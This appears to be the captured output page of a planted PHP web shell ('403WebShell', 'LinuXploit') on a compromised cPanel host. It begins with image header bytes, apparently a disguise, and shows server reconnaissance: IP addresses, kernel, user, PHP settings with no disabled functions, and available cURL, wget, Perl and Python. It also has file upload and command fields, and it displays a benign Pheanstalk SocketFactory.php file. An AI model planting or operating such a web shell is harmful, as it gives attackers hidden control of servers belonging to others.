����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 216.73.216.203
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/builderbox/www/vendor/pda/pheanstalk/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/builderbox/www/vendor/pda/pheanstalk/src/SocketFactory.php
<?php


namespace Pheanstalk;

use Pheanstalk\Contract\SocketFactoryInterface;
use Pheanstalk\Contract\SocketInterface;
use Pheanstalk\Socket\FsockopenSocket;
use Pheanstalk\Socket\SocketSocket;
use Pheanstalk\Socket\StreamSocket;

class SocketFactory implements SocketFactoryInterface
{
    public const AUTODETECT = 0;
    public const STREAM = 1;
    public const SOCKET = 2;
    public const FSOCKOPEN = 3;

    private $timeout;
    private $host;
    private $port;
    /** @var int */
    private $implementation;

    public function __construct(string $host, int $port, int $timeout = 10, $implementation = self::AUTODETECT)
    {
        $this->host = $host;
        $this->port = $port;
        $this->timeout = $timeout;
        $this->setImplementation($implementation);
    }

    public function getImplementation(): int
    {
        return $this->implementation;
    }

    public function setImplementation(int $implementation)
    {
        if ($implementation === self::AUTODETECT) {
            // Prefer socket
            if (extension_loaded('sockets')) {
                $this->implementation = self::SOCKET;
                return;
            }

            // Then fall back to stream
            if (function_exists('stream_socket_client')) {
                $this->implementation = self::STREAM;
                return;
            }

            // Then fall back to fsockopen
            if (function_exists('fsockopen')) {
                $this->implementation = self::FSOCKOPEN;
            }
        } else {
            $this->implementation = $implementation;
        }
    }

    private function createStreamSocket(): StreamSocket
    {
        return new StreamSocket($this->host, $this->port, $this->timeout);
    }

    private function createSocketSocket(): SocketSocket
    {
        return new SocketSocket($this->host, $this->port, $this->timeout);
    }

    private function createFsockopenSocket(): FsockopenSocket
    {
        return new FsockopenSocket($this->host, $this->port, $this->timeout);
    }

    /**
     * This function must return a connected socket that is ready for reading / writing.
     * @return SocketInterface
     */
    public function create(): SocketInterface
    {
        switch ($this->implementation) {
            case self::SOCKET:
                return $this->createSocketSocket();
            case self::STREAM:
                return $this->createStreamSocket();
            case self::FSOCKOPEN:
                return $this->createFsockopenSocket();
            default:
                throw new \RuntimeException("Unknown implementation");
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit